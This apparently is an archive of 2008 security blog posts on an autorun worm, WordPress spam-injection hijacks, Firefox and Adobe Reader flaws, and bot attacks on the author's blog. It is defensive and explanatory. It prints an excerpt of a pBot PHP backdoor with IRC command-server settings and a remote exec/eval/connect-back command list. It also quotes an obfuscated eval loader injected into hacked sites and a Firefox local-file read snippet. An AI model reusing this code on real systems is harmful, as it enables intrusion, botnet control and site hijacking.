Yesterday I got a new type of “Stupid Worm” hidding in background as xmss.exe. It copied itself on Local disk and Windows Directory (%Windir%). Terminated “Windows Task Manager”, Windows Command Prompt (DOS-Prompt) & crashed System Internal Process Explorer (procxp.exe).

Its not a funny video

According to McAfee, this worm is known as W32/Autorun.worm.g.

It can propagate itself over removable media and network drives and cause execution of malicious code via an autorun.inf file.

XMSS.exe Win32 AutoRun Files

• x:autorun.inf
• x:xmss.exe
• x:Funny UST Scandal.avi.exe
• %Windir%\autorun.inf
• %Windir%\xmss.exe
• %Windir%\Funny UST Scandal.avi.exe

Fixes Win32 AutoRun.* Worm

Here’s a few step to prevent Win32 AutoRun Worm.

1. Disabled System Restore for Temporary - KB 264887
2. Boot Windows in Safe Mode - KB 315222

3. In Windows Safe Mode, Open Windows Registry Editor

   Windows Start > Run > Regedit

4. Browse to the following registry settings ↓

   HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell

5. Replace
   explorer.exe, xmss.exe with exporer.exe
   
6. Delete all the following files
   • C\autorun.inf
   • C\xmss.exe
   • C\Funny UST Scandal.avi.exe
   • X:\autorun.inf
   • X:\xmss.exe
   • X:\Funny UST Scandal.avi.exe
   • %Windir%\autorun.inf
   • %Windir%\xmss.exe
   • %Windir%\Funny UST Scandal.avi.exe

   %Windir% refers to the Windows folder (e.g. C:\Windows, C:\WindowsNT) and X: is drive letters used by a removable or network drive

7. Clean All Windows Temporary Files
8. Restart Windows

XMSS.exe Win32 Autorun Variants

VirusTotal.com - Dec 2007 Results.

External Links

• How to Enable and Disable System Restore
• Safe Mode Boot options in Windows

I’ve been monitoring mattheaton.com “wordpress.net.in goro spam injections” for this past few months. Noticeably, the blackhat spamming method is changing dramatically. For those who are still unaware of Wordpress Goro Spam please read my earlier post → Wordpress.net.in Spam injection& Gaming Bluehost & Hostmonster CEO’s Blog.

thinkingphp.org (PR6) & jensfrake.com (PR7) has been hijacked by “Wordpress Blackhat SEO Spammer” for this month. Both sites were running on WordPress 2.3.2.

By now the <div id=”goro”> signature has been replaced with “Inline CSS” wrapper.

Cloacking Check on Mattheaton.com

Normal Browser

32,246 characters - mattheaton-com-source.txt

Google bot

34,646 characters - mattheaton-com-googlebot-source.txt

Difference

2,400 characters

Cloacking Check on jensfrake.com & blog.jensfrake.com

Normal Browser

59,580 characters - blogjensfrakecom.txt

Google bot

59,699 characters - blogjensfrakecom-googlebot.txt

Difference

119 characters

While scanning jensfrake.com their server return 400-500 error, so we had to scan his (clone) subdomain blog.jensfrake.com instead of the main site

This time around, you wont see the spam on both of this website, all the spam links is position out of the client view-port (top -3337px, left -2227px).

another mathematical jokes, l33t.

<div style="left: -2227px; position: absolute; top: -3337px">

What’s new with Goro spam 2008

• WordPress <= 2.3.2 is vulnerable to this attack.
• Inject Spamlinks wrap with extra Inline CSS for cloacking
• Target High PR Sites → PR5 and above

Related Post

• Matt Heaton BlueHost HostMonster CEO’s Official Blog Hacked
• How to Removed Wordpress.net.in Spam Injection
• Matt Heaton Bluehost Hostmonster CEO Hacked Again - Strike II

External Links

• National Vulnerabilities Database (NVD) on Wordpress 2.0 > 2.0.5 vulnerabilities

We are going to see Firefox 2.0.0.13 probably by end of this week. Check out this directory transversal code using view-sources: & resource: scheme
view-source:resource:///
translate to file:///C:/Program%20Files/Mozilla%20Firefox/

You can read/include firefox pref settings with this code. <script src=”view-source:resource:///greprefs/all.js”></script>

Workaround

Install No-script Add-ons.

Credits

Ronald van den Heetkamp at 0×000000

External Links

• Firefox 2.0.0.12 Information Leak POC

A JavaScript Buffer Overflow in Adobe Acrobat, Acrobat 3D & Reader allowed remote attacker to execute arbitrary code. The code will run with the privileges of the target user opening the PDF document.

Excerpt from iDefense Public Advisory;

Adobe Reader and Acrobat implement a version of JavaScript in the EScript.api plug-in which is based on the reference implementation used in Mozilla products. One of the methods exposed allows direct control over low level features of the object, which in turn allows execution of arbitrary code.

Workaround

Disabled Adobe Reader & Acrobat JavaScript. Perform Update ↓

Update -Adobe Acrobat & Reader version 8.1.2

Adobe released version 8.1.2 of Adobe Reader, Acrobat & Acrobat 3D to address
these vulnerabilities.

• Adobe Reader 7 and 8 users update to Adobe Reader 8.1.2
• Acrobat 8 users on Windows update to Acrobat 8.1.2
• Acrobat 8 users on Macintosh update to Acrobat 8.1.2
• Acrobat 3D version 8 users on Windows update to Acrobat 3D version 8.1.2

These vulnerabilities were discovered by Greg MacManus of VeriSign iDefense Labs.

Related Posts

• How to safely remove AcroRd32Info.exe (Adobe Reader)

External Links

• Security update available for Adobe Reader and Acrobat 8 (APSA08-01)

Today’s we just upgrade from WordPress 2.3.2 to 2.3.3 security release. There is 21 attack (script injections) on blog.kakkoi.net from 3 known bot-herder scripts ↓. The first attacker is from 212.24.62.200 → udkado.ru masking their useragent as Googlebot (a real human?). The were playing with my 302.curie redirect page at blog.kakkoi.net/uri/. I send the attacker data to abuse network and IronPort.

The next few hours we received 20 attack from the same bot-herder. They probably has a large scale of DDNS (china → korea → us ). Noticeably the scans pattern is predictable. From our Feb 5th attack all these botnet is targeting certain search keywords security, injection so we setup a honey-pot right on that particular URL.

Hacking Attempts on Kakkoi

Sort by Injection type.

The Bot-herder Host

Part of class pBot source taken from http://basiclifesaving.org/mycomments/rom.txt

<? 

/*
 *
 * #crew@corp. since 2003
 * edited by: devil__ <admin@xdevil.org>
 *
 * COMMANDS:
 *
 * .user <password> //login to the bot
 * .logout //logout of the bot
 * .die //kill the bot
 * .restart //restart the bot
 * .mail <to> <from> <subject> <msg> //send an email
 * .dns <IP|HOST> //dns lookup
 * .download <URL> <filename> //download a file
 * .exec <cmd> // uses exec() //execute a command
 * .sexec <cmd> // uses shell_exec() //execute a command
 * .cmd <cmd> // uses popen() //execute a command
 * .info //get system information
 * .php <php code> // uses eval() //execute php code
 * .tcpflood <target> <packets> <packetsize> <port> <delay> //tcpflood attack
 * .udpflood <target> <packets> <packetsize> <delay> //udpflood attack
 * .raw <cmd> //raw IRC command
 * .rndnick //change nickname
 * .pscan <host> <port> //port scan
 * .safe // test safe_mode (dvl)
 * .inbox <to> // test inbox (dvl)
 * .conback <ip> <port> // conect back (dvl)
 * .uname // return shell's uname using a php function (dvl)
 *
 */

set_time_limit(0);
error_reporting(0);
echo "Ok unlocker. We did i!";

class pBot
{
 var $config = array("server"=>"Bucharest.ro.eu.ultra-chat.org",
 "port"=>"6667",
 "pass"=>"n",
 "prefix"=>"[R]",
 "maxrand"=>"4",
 "chan"=>"#unlocker",
 "chan2"=>"#unlocker",
 "key"=>"n",
 "modes"=>"+p",
 "password"=>"n",
 "trigger"=>".",
 "hostauth"=>"Robert.users.ultra-chat.org" // * for any hostname (remember: /setvhost xdevil.org)
 );

Related Posts

• Daily Hacking Attempts on blog.kakkoi.net - Feb 5th, 2008
• Mass Remote Code Injection as Googlebot - Packet Spoofing Perl bot & Trojan

External Links

• Wikipedia → Botnet
• Storm Botnet
• Dynamic DNS

I received lots of multiple botnet injection (e.g: code & sql) on my wordpress blog. All the failed attempts from these Botnet (Bot-herder) will be published in this post. Somebody might find the informations useful ↓.

Failed Hacking Attempts

Sort by Injection type.

Related Posts

• Mass Remote Code Injection as Googlebot - Packet Spoofing Perl bot & Trojan

External Links

• Wikipedia → Botnet
• Storm Botnet

Wordpress 2.3.3 fixes a few minor bugs and the debatable Wordpress 2.3.2 XMLRPC vulnerability. It took 4 months to track the XMLRPC exploit and 1 days for the patch to be release. Kudos to WordPress Developer especially Ryan & Joseph Scott for these quick security release.

Wordpress 2.3.2 XMLRPC vulnerability patches by josephscott

• xmlrpc.php.diff (0.7 kB) -on 02/02/08 16:53:22.
• xmlrpc.php.2.diff (3.2 kB) - on 02/03/08 04:49:26.
• 2.3-xmlrpc.php.diff (3.2 kB) - on 02/04/08 18:48:23 (2.3.3).

External Links

• Wordpress 2.3.3 Download
• Wordpress Development Blog
• Wordpress 2.3.3 Milestone
• village-idiot.org → WordPress 2.3.3 List of changed files (download available)

This issue has been raised 4 months ago (october 2007). Certainly this is one of BadPress Ticketing Problems. Until WordPress Developer release Official securities fix (v 2.3.2.1 || 2.3.5 ?? ) You might want to try this “debatable” patch by SecuriTeam - Paul (Yabba) Jones.

Note: Matt Mullenweg & the WP-Hackers is against secureTeam “hasty-patch” and their POC release. [wp-hackers] xmlrpc issue or no?.

Excerpt from Wordpress Support Forum » iframe injection problem?

Matt Mullenweg → [...] I would rather not have people think they’re safe and really not be, and there is a release coming shortly anyway. [...]
If anyone is scared and wants a fix NOW, they should either turn off registration (which is off by default) or delete xmlrpc.php. ~ Feb 3, 2008

WordPress 2.3.3 has been release it’s advice not to try this patches

Patch xmlrpc.php via WordPress Admin

1. Login to Wordpress Admin
2. Goto Manage » Files then scroll down to “Other Files” sections, type in xmlrpc.php. otherwise type the following URL in your browser address-bar ↓

   mydomain.com/wp-admin/templates.php?file=xmlrpc.php&submit=Edit+file+%C2%BB

3. Find the following code (around Line 1151 - 1203 ) within wp_xmlrpc_server::mw_editPost() class methods ↓

   if ( ( 'post' == $post_type ) && !current_user_can('edit_post', $post_ID) )

4. Replace with

   //if ( ( 'post' == $post_type ) && !current_user_can('edit_post', $post_ID) )
    if ( ( 1 || 'post' == $post_type ) && !current_user_can('edit_post', $post_ID) )
   

   saved.

5. Disabled New User Registrations for temporary.

External Links

• Wordpress Support Forum → iframe injection problem?
• SecuriTeam → WordPress 2.3.2 XMLRPC Vulnerability POC
• Wikipedia XML-RPC
• Google → Wordpress XML-RPC Vulnerabilities
• PHPXREF wp-trunk xmlrpc source

I’m quite surprise to see my server logs todays, Some dude decide to scrap my blog content (including my wp translations cache 100mb+ )

The Offending uri:
http://www.shouker.com/user1/baiheinet/2008/1/16/80897.html

I’d blocked the site but it wont stop the search engine crawler from indexing the content .

This is nasty Blackhat SEO methods to get the target website penalize for duplicate content on Major Search Engine. There is few solution that i found at various resources ↓.

• Report to Google, proxyreports@gmail.com provide the url & the google search query.
• Block the Proxy Referrer IP
• Add special no index meta for unknown search engine spiders.

  <META NAME="ROBOTS" CONTENT="NOARCHIVE, NOINDEX, NOFOLLOW">

How to track Google Proxy Hacked Duplicate Contents

1. Monitor your content with Google Alerts try used a unique Search terms for your website. i.e: blog.kakkoi, myname, myunique keywords, url http://blog.kakkoi.net, base64 safe uri encode.
   If you have a Google Webmaster Account go to Statistics » What Googlebot sees used the keywords as your Google Alerts search terms.
2. Search for copies of your page on the Web copyscape

Whitelisting Search Engine Crawler

IMO blocking the IP range of Proxy Server is not very practical. Having a Whitelist of Search Engine Crawler IP (class c) might do the trick. I’m working on a script for whitelisting search engine crawler for my wordpress. Hopefully i can finished it later this week.

Google Algo bugs

Dan Thies at seofaststart.com posts a details analysis regarding this issue, check out his post → Google Proxy Hacking: How A Third Party Can Remove Your Site From Google SERPs.

Recent Update

• Caught the proxy user just after I published this articles. Its human 117.8.222.77 / c-net 117.8.0.0/13 from Tianjin, China.
  
• The IP was graylisted on RBL & cml.anti-spam.org.cn so we send a letter to abuse@cnc-noc.net

Being Hacked by SEO spammer is seem like a yearly events at Mattheaton.com. Matt’s WordPress blog was first hijacked 2 months ago on 26 November 2007 (according to my record). You can digg my earlier post at → Matt Heaton BlueHost HostMonster CEO Official Blog Hacked.

It’s a big embarrassment for bluehost & hostmonster hosting to have their CEO’s blog being spamride every year (since 2007) . Drilling Matt Heaton’s with bad ads wont solves the Blackhat Spam issues, I will left that particulars part to my readers to speculate.

Mattheaton Goro Spam Chronology

Wordpress.net.in GORO Spam Pattern

• All the infected sites will stop being index by archive.org few months before the spam started.
• From Nov 2007 to Jan 2008 (Right after Google Mass P3 De-rank fever) - The Blackhat Goro Spammer is targeting PR6 & PR7 sites running on WordPress (2.3.1 below) and on some rare case (tangonoticias.com) Joomla CMS (1.0.x)
• I categorize this blackhat method as Sybil Attack
  

  A Sybil attack is one in which an attacker subverts the reputation system by creating a large number of pseudonymous entities, and using them to gain a disproportionately large influence. A reputation system’s vulnerability to a Sybil attack depends on how cheaply Sybils can be generated, the degree to which the reputation system accepts input from entities that do not have a chain of trust linking them to a trusted entity, and whether the reputation system treats all entities identically.

  - Derank and manipulate their victim host to boost their pharmaceutical products on Google Local Search Index (gaming Localrank for better SERP)

• Goro signatures:
  1. html div with id “goro”

     <div id="goro"> <a href=">...</a> </div>
     

  2. javascript function name “getme()”

     <script type="text/javascript">function getme(str){ var idx = str.indexOf('?'); if (idx == -1) return str; var len = str.length; var new_str = ''; var i = 1; for (++idx; idx < len; idx += 2,i++){ var ch = parseInt(str.substr(idx, 2), 16); new_str += String.fromCharCode((ch + i) % 256); } eval(new_str); }getme('http://pagead2.googlesyndication.com/pagead/show_ads.js?636D6071685F676C255D5A68385E565D545C612E64334D100E4D545652090A0E5252564840083D414A4641354C0FF83E3E3C32F306'); </script>
     

  3. Output spam on WordPress wp_footer & wp_head hook

Blackhat SEO Spamdexing Google Local Search Index

The below graph explain the Blackhat SEO Spamdexing methods for Manipulating Google Local SERP.

View Spamdexing Google Local Search Image

Note: A blackhat at hoqwarts ;)

ScreenGrab

• mattheaton.com Jan 28 2008 (1009 x 6576 pixels)
• brainwave-india.com Jan 28 2008 (1016 x 2306 pixels)
• Google Local Search Jan 28 2008 Spamdexing Results
• stc-israel.org.il Jan 28 2008 spamdexing page (hidden text)
• stc-israel.org.il Jan 28 2008 spamdexing page (text reveal)

Recent Update

• Feb 1, 2008 - we send a letter to matt@bluehost.com regarding this issue. Still waiting for his replies
• Feb 3, 2008 - The Blackhat Goro Spammer change their target spamhost from http://www.brainwave-india.com (PR6) to http://www.thinkingphp.org (PR6) - Felix Geisendörfer.

  <div id="goro"><a href="http://www.thinkingphp.org/?read=796 ... prescription</a></div><script type="text/javascript">function getme(str){ var idx = str.indexOf('?'); if (idx == -1) return str; var len = str.length; var new_str = ''; var i = 1; for (++idx; idx < len; idx += 2,i++){ var ch = parseInt(str.substr(idx, 2), 16); new_str += String.fromCharCode((ch + i) % 256); } eval(new_str); }getme('http://pagead2.googlesyndication.com/pagead/show_ads.js?636D6071685F676C255D5A68385E565D545C612E64334D100E4D545652090A0E5252564840083D414A4641354C0FF83E3E3C32F306'); </script>

  thinkingphp.org blog is running on WordPress 2.3.2. We send him email regarding the Goro Spam hijack.

• Feb 8th 2008, There is no signature of Goro spam (tag with id goro) on Matt’s blog the blackhat is now using Inline CSS Position Overflow to hide the spams links ↓ redirect to zoorender.com (PR6).

  <div style="left: -2227px; position: absolute; top: -3337px"><a href="http://www.zoorender.com/?discount=1776">buying .. </div>
  

• Feb 13th 2008, Same methods as above (inline css cloacking) .
  • HTML Code shown to a Regular Browser → 32,246 characters
  • HTML Code shown to Google Bot → 34,646 characters

  redirect to blog.jensfranke.com (PR7).

  <div style="left: -2227px; position: absolute; top: -3337px"><a href="http://blog.jensfranke.com/?read=606">buy generic fi
  

• Feb 20th 2008, CSS Cloacking redirect to http://www.entrepreneur27.org/ (PR6).

  <div style="left: -2227px; position: absolute; top: -3337px"><a href="http://www.entrepreneur27.org/?more=1591">bad side effects of viagra</a>&nbsp;<a href="http://www.entrepreneur27.org/?more=1592"> ...
  </div>
  

• Feb 24th 2008, CSS Cloacking redirect to http://www.latenightpc.com (PR5). mattheaton-com-022408-source.txt
• Feb 26th 2008, CSS Cloacking redirect to http://www.communitynext.com/ WordPress 2.3.3 (PR6). mattheaton-com-022608-source.txt

Related Posts

• How to Removed wordpress.net.in Spam Injection
• Matt Heaton BlueHost HostMonster CEO Official Blog Hacked

External Links

• Bluehost & Hostmonster CEO’s Blog
• National Vulnerabilities Database (NVD) on Wordpress 2.0 > 2.0.5 vulnerabilities
• Wikipedia → Spamdexing
• pseudo-flaw - more random wordpress blogs owned by seo spammers